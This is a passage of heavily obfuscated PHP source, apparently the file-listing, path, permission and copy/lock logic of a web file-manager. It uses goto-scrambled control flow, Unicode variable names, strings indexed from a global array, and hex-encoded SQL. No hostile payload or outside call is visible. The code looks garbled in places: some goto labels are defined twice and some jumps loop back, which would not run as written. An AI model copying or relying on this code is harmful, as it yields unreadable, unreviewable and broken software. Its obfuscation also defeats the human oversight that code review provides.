Model($aՌ[395])->get($aՌ[397]); goto E坤ъ; E坤ъ: $Bě = array($aՌ[398] => $aՌ[399], $aՌ[400] => $aՌ[401]); $D = array($aՌ[28] => $aՌ[28], $aՌ[77] => $aՌ[77], $aՌ[157] => $aՌ[369], $aՌ[375] => $aՌ[375], $aՌ[402] => $aՌ[376], $aՌ[184] => $aՌ[184], $aՌ[107] => $aՌ[107]); $b = Input::get($aՌ[403], $aՌ[7], $A䄨, array_keys($D)); goto DȰڌ; eֻ: if ($b == $aՌ[28]) { } $bij = $aՌ[405] . $D[$b] . $aՌ[50] . $Bě[$CӨ]; return $this->order(rtrim(trim($bij), $aՌ[47])); goto Cғ; Cғ: } protected function _listDataApplyItem($DȻ, $cވ̶ = false) { $aƦ = array($DȻ); $this->_listDataApply($aƦ, $cވ̶); return $aƦ[0]; } protected function _listDataApply(&$E, $Bۇ = false) { goto C뻴; Eݡ: $this->_listAppendPath($E); $this->_listAppendAuth($E); $this->_listAppendSourceInfo($E, $C楝); goto aކ; aކ: $this->_listAppendUser($E); $this->_listFilterInfo($E, $Bۇ); goto C߄Ζ; D㗹: $C楝 = array_unique($C楝); $this->_listSourceCache($E); if (!$Bۇ) { $this->_listAppendMeta($E, $C楝); $this->_listAppendFileMeta($E, $C楝); $this->_listAppendChildren($E, $C楝); } goto Eݡ; C뻴: $ẹ =& $_SERVER[ѽ]; if (!$E) { $E = array(); return; } $C楝 = array_to_keyvalue($E, $ẹ[33], $ẹ[366]); goto D㗹; C߄Ζ: } protected function _listSourceCache($aԬ) { $BҼꚽ̮ =& $_SERVER[ѽ]; foreach ($aԬ as $f̐) { self::$cacheSourceInfo[$BҼꚽ̮[406] . $f̐[$BҼꚽ̮[366]]] = $f̐; } } protected function _listFilterInfo(&$e៳僞, $b漞 = false) { $aƻҞ =& $_SERVER[ѽ]; foreach ($e៳僞 as &$B) { $B = $this->pathInfoFilter($B); self::$cachePathInfo[$aƻҞ[407] . intval($b漞) . $aƻҞ[408] . $B[$aƻҞ[366]]] = $B; } } protected function _listMake(&$F҄) { $Dգ =& $_SERVER[ѽ]; $F҄[$Dգ[74]] = array(); $F҄[$Dգ[73]] = array(); foreach ($F҄[$Dգ[351]] as $f) { $fث˞ = $f[$Dգ[367]] == 1 ? $Dգ[74] : $Dգ[73]; $F҄[$fث˞][] = $f; } unset($F҄[$Dգ[351]]); } protected function _listAppendMeta(&$cԿ, $aՍ) { goto Fꍋ통; Fꍋ통: $B =& $_SERVER[ѽ]; $Fۊ = array($B[380] => array($B[381], $aՍ)); $E޻ = Model($B[409])->field($B[410])->where($Fۊ)->select(); goto a; a: if (!$E޻) { return; } $D = array($B[411], $B[412]); $F촐 = array(); goto F; F: foreach ($E޻ as $Aڠ؜) { if (!isset($F촐[$Aڠ؜[$B[366]]])) { $F촐[$Aڠ؜[$B[366]]] = array(); } if (in_array($Aڠ؜[$B[89]], $D)) { continue; } $F촐[$Aڠ؜[$B[366]]][$Aڠ؜[$B[89]]] = $Aڠ؜[$B[356]]; } foreach ($cԿ as &$aċ) { $aċ[$B[413]] = !1; if (isset($F촐[$aċ[$B[366]]])) { $aċ[$B[413]] = $F촐[$aċ[$B[366]]]; } if ($this->fileIsLock($aċ) && $aċ[$B[373]]) { $d͚ۻ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $aċ[$B[373]][$B[374]] = AuthModel::authDisable($aċ[$B[373]][$B[374]], $d͚ۻ); $aċ[$B[373]][$B[414]][$B[373]] = $aċ[$B[373]][$B[374]]; } } goto D…; D…: } protected function _listAppendFileMeta(&$e܉, $Cאۨ) { goto A; Aإ: foreach ($e܉ as &$Eɵ) { goto bǍ; Bݙ煄: $Cǫ[$BڪÃ[77]] = $Eɵ[$BڪÃ[77]]; $Cǫ[$BڪÃ[28]] = $Eɵ[$BڪÃ[28]]; self::$cacheFileInfo[$BڪÃ[421] . $F] = $Cǫ; goto b; bǍ: $F = $Eɵ[$BڪÃ[415]]; if (!$F || !isset($Aة[$F])) { continue; } $Cǫ = $Aة[$F]; goto Bݙ煄; b: unset($Aة[$F][$BڪÃ[75]]); $a¾ = is_array($d͂[$F]) ? $d͂[$F] : array(); $Eɵ[$BڪÃ[159]] = array_merge($a¾, $Aة[$F]); goto b; b: if (isset($Eɵ[$BڪÃ[159]][$BڪÃ[422]])) { $Eɵ[$BڪÃ[422]] = json_decode($Eɵ[$BڪÃ[159]][$BڪÃ[422]], !0); unset($Eɵ[$BڪÃ[159]][$BڪÃ[422]]); } goto e; e: } goto F҅爺; Cē: $Aة = Model($BڪÃ[418])->field($Cҿ)->where($e)->select(); $Aة = array_to_keyvalue($Aة, $BڪÃ[415]); $EՓŻ = Model($BڪÃ[419])->field($BڪÃ[420])->where($e)->select(); goto A’; A’: $EՓŻ = $EՓŻ ? $EՓŻ : array(); $d͂ = array(); foreach ($EՓŻ as $cג) { if (!isset($d͂[$cג[$BڪÃ[415]]])) { $d͂[$cג[$BڪÃ[415]]] = array(); } $d͂[$cג[$BڪÃ[415]]][$cג[$BڪÃ[89]]] = $cג[$BڪÃ[356]]; } goto Aإ; a: if (!$bÄً) { return; } $e = array($BڪÃ[416] => array($BڪÃ[381], $bÄً)); $Cҿ = $BڪÃ[417]; goto Cē; A: $Bڪà =& $_SERVER[ѽ]; $bÄً = array_to_keyvalue($e܉, $BڪÃ[33], $BڪÃ[415]); $bÄً = array_filter(array_unique($bÄً)); goto a; F҅爺: } protected function _listAppendSourceInfo(&$Eχك, $E҃ۦ) { goto Bٷ; Dԏ: $dհʒ = Model($F[389])->listData(); $Dԋ = Model($F[378])->listData(); $aĻ = Model($F[425])->listSimple(); goto B; CĻ: $FՂ߹ = array_to_keyvalue_group($aĻ, $F[366]); foreach ($Eχك as &$B֡) { $B֡[$F[388]] = array($F[426] => 0, $F[427] => 0, $F[428] => 0); if (isset($F[$B֡[$F[366]]])) { $B֡[$F[388]][$F[429]] = 1; $B֡[$F[388]][$F[430]] = $F[$B֡[$F[366]]][$F[28]]; } if (isset($f̈[$B֡[$F[366]]])) { $B֡[$F[388]][$F[431]] = array(); foreach ($f̈[$B֡[$F[366]]] as $aݯ) { $Fੌ = $aݜ류[$aݯ]; $B֡[$F[388]][$F[431]][] = array($F[432] => $Fੌ[$F[364]], $F[383] => $Fੌ[$F[28]], $F[433] => $Fੌ[$F[434]]); } } if (isset($FՂ߹[$B֡[$F[366]]])) { $B֡[$F[388]][$F[435]] = array(); foreach ($FՂ߹[$B֡[$F[366]]] as $d뎙) { $B֡[$F[388]][$F[435]] = array($F[436] => $d뎙[$F[437]], $F[438] => $d뎙[$F[439]], $F[440] => $d뎙[$F[366]], $F[441] => $d뎙[$F[442]], $F[443] => $d뎙[$F[444]]); } } } return $Eχك; goto f䋥ջ; B: $aݜ류 = array_to_keyvalue($B琑, $F[364]); $f̈ = array_to_keyvalue_group($dհʒ, $F[75], $F[390]); $F = array_to_keyvalue($Dԋ, $F[75]); goto CĻ; Bٷ: $F =& $_SERVER[ѽ]; if (!defined($F[423])) { return; } $B琑 = Model($F[424])->listData(); goto Dԏ; f䋥ջ: } protected function _listAppendChildren(&$d, $CՎ) { goto C; C: $D =& $_SERVER[ѽ]; $fʡӧ = $D[358]; $a˽ = array(); goto d֩Ɲ; eѭڝ: $E = $this->tablePrefix . $this->tableName; for ($Fɶ = 0; $Fɶ < $B; $Fɶ++) { $Eۇޓ = intval($d[$Fɶ][$D[393]]); if ($d[$Fɶ][$D[367]]) { $A = $d[$Fɶ][$D[366]]; $fʡӧ .= "\x53\x45\114\105\x43\124\40\52\x20\106\x52\x4f\x4d\x20\50\123\105\x4c\105\103\124\40\47{$A}\137\150\141\163\106\151\154\145\x27\x20\141\163\x20\150\141\163\x2c\143\x6f\165\156\x74\50\61\51\x20\141\x73\x20\150\x61\163\103\x6f\x75\x6e\x74\40\x46\x52\117\115\x20\x60{$E}\140\x20\12\11\x9\x9\11\11\167\150\x65\x72\145\x20\160\x61\x72\x65\156\x74\x49\x44\x3d{$A}\x20\141\x6e\144\40\x69\163\106\157\x6c\144\x65\x72\x3d\x30\40\141\156\144\40\x69\x73\104\x65\x6c\x65\x74\x65\75{$Eۇޓ}\x29\x20\141\163\40\x74\142\x31\137{$A}\x20\x75\x6e\151\x6f\156\x20\141\154\x6c\40\12\x9\x9\11\11\11\123\x45\114\105\103\x54\40\x2a\40\x46\122\x4f\x4d\40\50\123\105\x4c\105\x43\x54\x20\47{$A}\137\150\x61\x73\106\x6f\x6c\144\145\x72\x27\40\141\163\40\x68\141\x73\106\x69\154\x65\54\x63\x6f\165\x6e\164\50\x31\51\40\141\x73\x20\x68\141\163\103\x6f\165\x6e\164\x20\106\x52\x4f\x4d\40\140{$E}\x60\x20\xa\x9\11\11\11\11\167\150\145\x72\145\40\x70\141\162\145\x6e\164\111\x44\x3d{$A}\40\x61\x6e\x64\40\151\163\x46\x6f\154\x64\145\x72\75\61\40\x61\156\x64\x20\x69\x73\104\x65\x6c\x65\164\145\x3d{$Eۇޓ}\51\x20\x61\163\40\164\142\62\137{$A}\40\x75\156\151\x6f\156\x20\x61\x6c\154\40"; } if ((strlen($fʡӧ) >= $d楒 || $Fɶ == $B - 1) && $fʡӧ) { $fʡӧ = substr($fʡӧ, 0, -strlen($D[445])); $fҊӤ = $this->query($fʡӧ); $a˽ = array_merge($a˽, $fҊӤ); $fʡӧ = $D[33]; } } $a˽ = array_to_keyvalue($a˽, $D[446]); goto B­; B­: foreach ($d as &$cʎ) { if ($cʎ[$D[367]]) { unset($cʎ[$D[369]]); $cʎ[$D[189]] = intval($a˽[$cʎ[$D[366]] . $D[447]][$D[448]]); $cʎ[$D[188]] = intval($a˽[$cʎ[$D[366]] . $D[449]][$D[448]]); } } goto dߏ; d֩Ɲ: $d楒 = 1024 * 50; $d = is_array($d) ? $d : array(); $B = count($d); goto eѭڝ; dߏ: } protected function _listAppendAuth(&$b) { goto Aꝷ; BՊ: $E蚢 = Model($C߇ݴ[450])->getSourceList($F, $c); foreach ($b as $e => &$Fگ) { $Fگ[$C߇ݴ[373]] = $E蚢[$Fگ[$C߇ݴ[366]]]; if (!$Fگ[$C߇ݴ[373]] && $Fگ[$C߇ݴ[368]] == self::TYPE_GROUP) { $Fگ[$C߇ݴ[373]] = Action($C߇ݴ[451])->pathGroupAuthMake($Fگ[$C߇ݴ[452]]); if (!$Fگ[$C߇ݴ[373]] && !_get($GLOBALS, $C߇ݴ[453])) { $Fگ[$C߇ݴ[186]] = !1; $Fگ[$C߇ݴ[185]] = !1; } } if ($Fگ[$C߇ݴ[373]]) { $Fگ[$C߇ݴ[186]] = AuthModel::authCheckEdit($Fگ[$C߇ݴ[373]][$C߇ݴ[374]]); $Fگ[$C߇ݴ[185]] = AuthModel::authCheckView($Fگ[$C߇ݴ[373]][$C߇ݴ[374]]); } $this->groupPathDisplay($Fگ); } goto b󻳵; Aꝷ: $C߇ݴ =& $_SERVER[ѽ]; if (!defined($C߇ݴ[423])) { return; } $F = array(); goto eӐԎ; eӐԎ: foreach ($b as $Fگ) { if ($Fگ[$C߇ݴ[368]] == self::TYPE_GROUP) { $F[] = $Fگ[$C߇ݴ[366]]; } } if (!$F) { return; } $c = array_to_keyvalue($b, $C߇ݴ[366]); goto BՊ; b󻳵: } public function groupPathDisplay(&$AǦ) { goto B; bܜ: $FÏ = $this->parentLevelArray($D[$d[455]]); $C = $d[33]; foreach ($FÏ as $Dȉ) { $B٠ = Model($d[454])->getInfo($Dȉ); $C .= $B٠[$d[388]][$d[366]] . $d[47]; } goto bͯ; bͯ: $AǦ[$d[456]] = $D[$d[457]]; $AǦ[$d[377]] = $D[$d[455]]; $AǦ[$d[458]] = $D[$d[459]]; goto A׌; A׌: $AǦ[$d[460]] = $C . $D[$d[388]][$d[366]]; goto Dˏ; B: $d =& $_SERVER[ѽ]; if ($AǦ[$d[368]] != self::TYPE_GROUP) { return; } $D = Model($d[454])->getInfo($AǦ[$d[452]]); goto bܜ; Dˏ: } protected function _listAppendPath(&$A㪗) { goto d۸; EϟЈ: $f = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); foreach ($A㪗 as &$e烥) { goto bƍ; bƍ: $f = $this->parentLevelArray($e烥[$A܏[455]]); $eܤ淫 = $this->_listAppendPathRoot($e烥, $f); foreach ($f as $cݖ) { if (isset($Dդ[$cݖ])) { $eܤ淫 .= $Dդ[$cݖ] . $A܏[8]; } } goto A; fȣ: $cנ = trim($e烥[$A܏[462]], $A܏[8]); if ($e烥[$A܏[457]] == $A܏[464] && $cנ) { $e烥[$A܏[28]] = $cנ; } $this->_listAppendPathRecycle($e烥, $f, $f); goto cЍ; A: if ($f) { $eܤ淫 .= $e烥[$A܏[28]]; } if ($e烥[$A܏[367]]) { $eܤ淫 .= $A܏[8]; } $e烥[$A܏[462]] = str_replace($A܏[463], $A܏[8], $eܤ淫); goto fȣ; cЍ: } goto A݇; b󰌬: $c֑ = array(); foreach ($Dդ as $bज़ => $a) { if (!$a) { $c֑[] = $bज़; } } if ($c֑) { $Aኖ = array($A܏[380] => array($A܏[381], $c֑)); if (count($c֑) == 1) { $e = $this->sourceInfo($c֑[0]); $e = is_array($e) ? array($e) : !1; } else { $e = $this->field($A܏[461])->where($Aኖ)->select(); } $Aˇ = array_to_keyvalue($e, $A܏[366], $A܏[28]); $Dդ = array_merge_index($Dդ, $Aˇ); } goto EϟЈ; d۸: $A܏ =& $_SERVER[ѽ]; $Dդ = array(); foreach ($A㪗 as &$e烥) { $Dդ[$e烥[$A܏[366]]] = $e烥[$A܏[28]]; $f = $this->parentLevelArray($e烥[$A܏[455]]); array_shift($f); foreach ($f as $cݖ) { if (!isset($Dդ[$cݖ])) { $Dդ[$cݖ] = 0; } } } goto b󰌬; A݇: } private function _listAppendPathRecycle(&$D佃Ŝ, $d̖թȒ, $aѠţ) { goto cĶ; C˹ت: $D̂ = explode($fޝՏ[8], trim($D佃Ŝ[$fޝՏ[462]], $fޝՏ[8])); $D񳯯 = implode($fޝՏ[8], array_slice($D̂, 2)); $D佃Ŝ[$fޝՏ[462]] = $fޝՏ[8] . LNG($fޝՏ[465]) . $fޝՏ[8] . ltrim($D񳯯, $fޝՏ[8]); goto eԋۓ; cĶ: $fޝՏ =& $_SERVER[ѽ]; if (intval($D佃Ŝ[$fޝՏ[368]]) !== self::TYPE_SYSTEM) { return; } if (!in_array($aѠţ, $d̖թȒ) && $D佃Ŝ[$fޝՏ[366]] != $aѠţ) { return; } goto C˹ت; eԋۓ: $D佃Ŝ[$fޝՏ[455]] = $fޝՏ[466] . implode($fޝՏ[47], array_slice($d̖թȒ, 1)) . $fޝՏ[47]; if ($D佃Ŝ[$fޝՏ[366]] == $aѠţ) { $D佃Ŝ[$fޝՏ[455]] = $fޝՏ[466]; $D佃Ŝ[$fޝՏ[457]] = $fޝՏ[464]; $D佃Ŝ[$fޝՏ[28]] = LNG($fޝՏ[465]); } $D佃Ŝ[$fޝՏ[467]] = $fޝՏ[468]; goto f󨔋; f󨔋: } protected function _listAppendPathRoot(&$F, $D) { $C肚ƕ֑ =& $_SERVER[ѽ]; $C܊ = $C肚ƕ֑[33]; if ($F[$C肚ƕ֑[368]] == self::TYPE_USER) { if (defined($C肚ƕ֑[423]) && $F[$C肚ƕ֑[452]] == USER_ID) { $C܊ = LNG($C肚ƕ֑[469]); if (!$D) { $F[$C肚ƕ֑[28]] = $C܊; } } else { $C = Model($C肚ƕ֑[470])->getInfoSimple($F[$C肚ƕ֑[452]]); $C܊ = LNG($C肚ƕ֑[471]) . $C肚ƕ֑[154] . $C[$C肚ƕ֑[28]] . $C肚ƕ֑[472]; } } else { if ($F[$C肚ƕ֑[368]] == self::TYPE_GROUP) { $C = Model($C肚ƕ֑[454])->getInfoSimple($F[$C肚ƕ֑[452]]); $C܊ = $C[$C肚ƕ֑[28]]; } else { if ($F[$C肚ƕ֑[368]] == self::TYPE_SYSTEM) { $C = $this->sourceInfo($D[0], !0); $C܊ = $C[$C肚ƕ֑[28]]; } } } $C܊ = $C܊ ? $C肚ƕ֑[8] . $C܊ . $C肚ƕ֑[8] : $C肚ƕ֑[8]; return $C܊; } protected function _listAppendUser(&$Dօ) { $b =& $_SERVER[ѽ]; $B = array_to_keyvalue($Dօ, $b[33], $b[375]); $aǭ = array_to_keyvalue($Dօ, $b[33], $b[376]); $aϺ = array_merge($B, $aǭ); $eʒ = Model($b[473])->userListInfo($aϺ); foreach ($Dօ as &$bȚ) { $eƕ = $bȚ[$b[375]]; $bȚ[$b[375]] = $eʒ[$eƕ] ? $eʒ[$eƕ] : !1; $eƕ = $bȚ[$b[376]]; $bȚ[$b[376]] = $eʒ[$eƕ] ? $eʒ[$eƕ] : !1; if (isset($bȚ[$b[413]]) && $bȚ[$b[413]][$b[474]]) { $c = $GLOBALS[$b[6]][$b[84]][$b[475]]; if ($bȚ[$b[413]][$b[476]] <= time() - $c) { $this->metaSet($bȚ[$b[366]], $b[474], null); $this->metaSet($bȚ[$b[366]], $b[476], null); unset($bȚ[$b[413]][$b[474]]); continue; } $Aл = $bȚ[$b[413]][$b[474]]; $bȚ[$b[413]][$b[477]] = Model($b[473])->getInfoSimpleOuter($Aл); } } } public function parentLevelArray($fϼ) { $eéһ =& $_SERVER[ѽ]; $fϼ = explode($eéһ[47], trim($fϼ, $eéһ[47])); return array_remove_value($fϼ, $eéһ[464]); } public function listAll($f) { goto e뜻; e뜻: $EĪ =& $_SERVER[ѽ]; $A = $this->sourceInfo($f); $F = array($EĪ[478] => array($EĪ[479], $A[$EĪ[455]] . $f . $EĪ[480]), $EĪ[481] => 0); goto Cش; dۥڙ: $B = array(); foreach ($Cʘ as $C⯄ => $Fٖ) { goto Eғäۄ; bãҢ: if (!$Fٖ[$EĪ[367]]) { $b劌[$EĪ[415]] = $Fٖ[$EĪ[415]]; $b劌[$EĪ[485]] = $Fٖ[$EĪ[75]]; } $B[] = $b劌; goto aᬵ; F贗: $E = str_replace($EĪ[463], $EĪ[8], $E); $E = str_replace($EĪ[463], $EĪ[8], $E); $b劌 = array($EĪ[384] => str_replace($EĪ[463], $EĪ[8], $E), $EĪ[484] => intval($Fٖ[$EĪ[367]]), $EĪ[388] => $this->pathInfoFilter($Fٖ, !0)); goto bãҢ; Eғäۄ: $Eؑ = $this->parentLevelArray($Fٖ[$EĪ[455]]); array_shift($Eؑ); $E = $A竢; goto Dȑ; Dȑ: for ($e奠 = 0; $e奠 < count($Eؑ); $e奠++) { $E .= $Cʘ[$Eؑ[$e奠]][$EĪ[28]] . $EĪ[8]; } $E .= $Fٖ[$EĪ[28]]; if ($Fٖ[$EĪ[367]]) { $E .= $EĪ[8]; } goto F贗; aᬵ: } return $B; goto fԶ; Cش: $fך = $EĪ[482]; $d = "\x4c\105\x46\124\40\x4a\x4f\111\x4e\x20{$this->tablePrefix}\x69\x6f\x5f\x66\x69\154\x65\x20\146\151\154\145\x20\157\156\x20\163\157\165\162\x63\145\x2e\x66\x69\154\x65\x49\x44\x20\x3d\40\x66\x69\x6c\145\56\x66\x69\x6c\145\x49\104"; $Cʘ = $this->alias($EĪ[483])->field($fך)->where($F)->join($d)->select(); goto F; Aє: $Cʘ = array_to_keyvalue($Cʘ, $EĪ[366]); $A竢 = "\x2f{$A[$EĪ[28]]}\57"; $A竢 = $A竢 == $EĪ[463] ? $EĪ[8] : $A竢; goto dۥڙ; F: $this->_listAppendAuth($Cʘ); $this->_listAppendUser($Cʘ); $this->_listAppendPath($Cʘ); goto Aє; fԶ: } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($Fſ) { goto D͢; D͢: $F =& $_SERVER[ѽ]; if (!$this->allowLock()) { return; } $this->_lockCheck($F[486], $Fſ); goto C; C: $A = 1; $this->_lockEvent($Fſ, array($F[487], $F[488]), $A); $this->_lockParent($Fſ, array($F[488]), $A); goto f; f: $this->_lockEvent($Fſ, array($F[489], $F[490]), $A); $this->_lockCheckEnd($F[486], $Fſ); goto A; A: } public function lockCopyEnd($f) { $dЛމ =& $_SERVER[ѽ]; if (!$this->allowLock()) { return; } $E⼄ = 0; $this->_lockEvent($f, array($dЛމ[487], $dЛމ[488]), $E⼄); $this->_lockParent($f, array($dЛމ[488]), $E⼄); $this->_lockEvent($f, array($dЛމ[489], $dЛމ[490]), $E⼄); } public function lockWriteStart($dƈ۵, $B긿 = '') { goto BՏ; B: $this->_lockParent($dƈ۵, array($B[486], $B[488]), $f); $this->_lockCheckEnd($B[487], $dƈ۵); goto D; a턋: $f = 1; $this->_lockKey($B[491] . $dƈ۵ . $B[93] . $B긿, $f); $this->_lockEvent($dƈ۵, array($B[486], $B[488]), $f); goto B; BՏ: $B =& $_SERVER[ѽ]; if (!$this->allowLock()) { return; } $this->_lockCheck($B[487], $dƈ۵); goto a턋; D: } public function lockWriteEnd($fЉ, $AךƯ = '') { $a߉α =& $_SERVER[ѽ]; if (!$this->allowLock()) { return; } $fଗؼ = 0; $this->_lockKey($a߉α[491] . $fЉ . $a߉α[93] . $AךƯ, $fଗؼ); $this->_lockEvent($fЉ, array($a߉α[486], $a߉α[488]), $fଗؼ); $this->_lockParent($fЉ, array($a߉α[486], $a߉α[488]), $fଗؼ); } public function lockMoveStart($DȺ) { goto Bᘅ; Dű: $this->_lockParent($DȺ, array($A[486], $A[488]), $Dߡͻ); $this->_lockEvent($DȺ, array($A[493], $A[489], $A[490]), $Dߡͻ); $this->_lockCheckEnd($A[488], $DȺ); goto E귅; D¨: $Dߡͻ = 1; $this->_lockKey($A[492] . $DȺ, $Dߡͻ); $this->_lockEvent($DȺ, array($A[486], $A[487]), $Dߡͻ); goto Dű; Bᘅ: $A =& $_SERVER[ѽ]; if (!$this->allowLock()) { return; } $this->_lockCheck($A[488], $DȺ); goto D¨; E귅: } public function lockMoveEnd($D) { goto a˜; Aʿ: $this->_lockEvent($D, array($cଵ[493], $cଵ[489], $cଵ[490]), $Dܢ); goto d; b: $this->_lockKey($cଵ[492] . $D, $Dܢ); $this->_lockEvent($D, array($cଵ[486], $cଵ[487]), $Dܢ); $this->_lockParent($D, array($cଵ[486], $cଵ[488]), $Dܢ); goto Aʿ; a˜: $cଵ =& $_SERVER[ѽ]; if (!$this->allowLock()) { return; } $Dܢ = 0; goto b; d: } private function _lockCheck($bʘ, $bΛˬ) { goto c; c: $dĉݕ =& $_SERVER[ѽ]; $C㼌 = $this->sourceInfo($bΛˬ); $f򮴈 = $bʘ . $dĉݕ[93] . $bΛˬ; goto dڑ; eܶ: CacheLock::setErrorMsg($dĉݕ[154] . htmlspecialchars($C㼌[$dĉݕ[28]]) . $dĉݕ[472] . $EϏ); $this->_lockKey($f򮴈, 1); $this->_lockKey($f򮴈, 0); goto B݉; dڑ: $this->_lockTimeStart[$f򮴈] = timeFloat(); if (!is_array($C㼌)) { return; } $EϏ = LNG($dĉݕ[494]); goto eܶ; B݉: $Aʡ = array_reverse($this->parentLevelArray($C㼌[$dĉݕ[455]])); foreach ($Aʡ as $fړ) { $f򮴈 = $bʘ . $dĉݕ[495] . $fړ; if (CacheLock::lockGet($dĉݕ[496] . $f򮴈)) { $C㼌 = $this->sourceInfo($fړ); CacheLock::setErrorMsg($dĉݕ[154] . htmlspecialchars($C㼌[$dĉݕ[28]]) . $dĉݕ[472] . $EϏ); $this->_lockKey($f򮴈, 1); $this->_lockKey($f򮴈, 0); } } goto FҎ; FҎ: } private function _lockCheckEnd($fЙ, $e) { goto b֍; A: if (!isset($this->_lockTimeStart[$Cё姆])) { return; } $c͖Ү = timeFloat() - $this->_lockTimeStart[$Cё姆]; unset($this->_lockTimeStart[$Cё姆]); goto D՘; b֍: $F =& $_SERVER[ѽ]; $Cё姆 = $fЙ . $F[93] . $e; CacheLock::setErrorMsg($F[358]); goto A; D՘: if ($c͖Ү > 0.5) { unset(self::$cacheSourceInfo[$F[406] . $e]); } $a׃ = $this->sourceInfo($e); if (!$a׃) { show_json(LNG($F[102]), !1); } goto A; A: } private function _lockParent($A, $BȢ, $d焔) { if (!$this->autoLockSet) { return; } $Eۚ = $this->sourceInfo($A); if (!is_array($Eۚ)) { return; } $CӐٟ = array_reverse($this->parentLevelArray($Eۚ[$_SERVER[ѽ][455]])); foreach ($CӐٟ as $cو۠) { $this->_lockEvent($cو۠, $BȢ, $d焔); } } private function _lockEvent($fӷٺ, $Bۂ晃, $a) { $E =& $_SERVER[ѽ]; if (!$this->autoLockSet) { return; } foreach ($Bۂ晃 as $d긐) { $dϨŠ = $d긐 . $E[93] . $fӷٺ; if ($a && CacheLock::lockGet($E[496] . $dϨŠ)) { continue; } $this->_lockKey($dϨŠ, $a); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($ä́, $F󼭈 = 1) { $Aҙԡ = $_SERVER[ѽ][496] . md5($ä́); if ($F󼭈) { if (isset(self::$_lockItemArr[$Aҙԡ])) { return; } self::$_lockItemArr[$Aҙԡ] = 1; CacheLock::lock($Aҙԡ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$Aҙԡ])) { return; } unset(self::$_lockItemArr[$Aҙԡ]); CacheLock::unlock($Aҙԡ); } } public function isParentOf($F٠, $C˄) { goto c±; c±: $Cܓܧ =& $_SERVER[ѽ]; $Bו = $this->sourceInfo($F٠); $E㲟 = $this->sourceInfo($C˄); goto D獙鰑; D獙鰑: $bڴɟ = $Bו[$Cܓܧ[455]] . $Bו[$Cܓܧ[366]] . $Cܓܧ[47]; $bȐ༼ = $E㲟[$Cܓܧ[455]] . $E㲟[$Cܓܧ[366]] . $Cܓܧ[47]; $A = strpos($bȐ༼, $bڴɟ) === 0; goto AҞ; AҞ: return $A; goto aш˅; aш˅: } private $targetIsDelete = 0; public function copy($B֧⇯, $a臷, $C = REPEAT_REPLACE, $f = '') { goto A; A: $Dڈ =& $_SERVER[ѽ]; $C·ͩ = $this->sourceInfo($B֧⇯); $A = $this->sourceInfo($a臷); goto Eˋ; bȩӽ: $this->saveAll($Dˏˆ[$DڈÂ[499]]); Model($DڈÂ[164])->linkAdd($Dˏˆ[$DڈÂ[497]]); $this->folderSizeReset($a臷); goto dȎ; bԃҏ: if ($C·ͩ[$DڈÂ[367]] == $DڈÂ[83] && $bޚٸ == $Cɳ㛳) { $this->folderSizeResetChildren($bޚٸ); } Model($DڈÂ[500])->addAll($Dˏˆ[$DڈÂ[498]], array(), !0); if ($bޚٸ != $Cɳ㛳 || $C·ͩ[$DڈÂ[367]] == $DڈÂ[83]) { Model($DڈÂ[501])->eventCopy($Cɳ㛳); } goto bȩӽ; Eˋ: if (!$C·ͩ || !$A || $A[$DڈÂ[367]] != $DڈÂ[83]) { return !1; } if ($this->isParentOf($B֧⇯, $a臷)) { return !1; } $dՏ = $f ? $f : $C·ͩ[$DڈÂ[28]]; goto Bկ; b: $this->_childrenListClear(); $this->lockCopyEnd($B֧⇯); $this->lockWriteEnd($a臷, $dՏ); goto bԃҏ; B綛ߋ: $this->targetIsDelete = intval($C·ͩ[$DڈÂ[393]]); $bޚٸ = $this->fileNameExistCache($a臷, $C·ͩ[$DڈÂ[28]]); $Cɳ㛳 = $this->_copy($B֧⇯, $a臷, $C, $Dˏˆ, !0, $f); goto b; dȎ: $this->updateModifyTime($a臷); return $Cɳ㛳; goto f; Bկ: $this->lockCopyStart($B֧⇯); $this->lockWriteStart($a臷, $dՏ); $Dˏˆ = array($DڈÂ[497] => array(), $DڈÂ[498] => array(), $DڈÂ[499] => array()); goto B綛ߋ; f: } private function _copy($cɝ, $Aߓ, $E܎֒, &$cϏ, $e, $eǼ = '') { goto aፉ; Eʘ֘: if (!$d) { return $this->_copyCreate($cɝ, $Aߓ, $AՆҳ, $cϏ); } $eҲ = $d; if ($bײ) { if ($E܎֒ == REPEAT_RENAME_FOLDER) { $AՆҳ = $this->fileNameAutoCache($Aߓ, $AՆҳ, $E܎֒, $bײ); $eҲ = $this->_copyCreate($cɝ, $Aߓ, $AՆҳ, $cϏ); } else { $eڅ = $this->_childrenList($cɝ); foreach ($eڅ as $b̃) { $this->_copy($b̃[$FԹ[366]], $d, $E܎֒, $cϏ, !1); } } } else { if ($E܎֒ == REPEAT_RENAME || $E܎֒ == REPEAT_RENAME_FOLDER) { $AՆҳ = $this->fileNameAutoCache($Aߓ, $AՆҳ, $E܎֒, $bײ); $eҲ = $this->_copyCreate($cɝ, $Aߓ, $AՆҳ, $cϏ); } else { if ($E܎֒ == REPEAT_REPLACE) { $Aۡҧ = $this->sourceInfoCache($d); $aֶ = $this->fileHistory($Aۡҧ, $C䙗[$FԹ[415]], $C䙗[$FԹ[77]]); if ($aֶ) { $cϏ[$FԹ[497]][] = $C䙗[$FԹ[415]]; } } else { if ($E܎֒ == REPEAT_SKIP) { } } } Hook::trigger($FԹ[502], array($FԹ[503], $C䙗, 0)); } goto e։; e։: return $eҲ; goto bݿ; C: $AՆҳ = $eǼ ? $eǼ : $C䙗[$FԹ[28]]; $d = $this->fileNameExistCache($Aߓ, $AՆҳ); if ($e) { $this->_childrenAllMake($cɝ); if ($bײ && $d) { $this->_childrenAllMake($d); } } goto Eʘ֘; aፉ: $FԹ =& $_SERVER[ѽ]; $C䙗 = $this->sourceInfoCache($cɝ); $bײ = $C䙗[$FԹ[367]] == $FԹ[83]; goto C; bݿ: } private function _copyCreate($dퟺ, $f݈, $Dس, &$cֹɇ) { goto b; b: $F =& $_SERVER[ѽ]; $dӝ = $this->sourceInfoCache($dퟺ); $C펃و = $this->sourceInfoCache($f݈); goto Fװϑ; Bॺ: $aŶע = $this->add($eܽɨ); $D = array($F[366] => $aŶע, $F[28] => $Dس); $this->_copyApplyMeta($D, $cֹɇ); goto B; Cŝ: 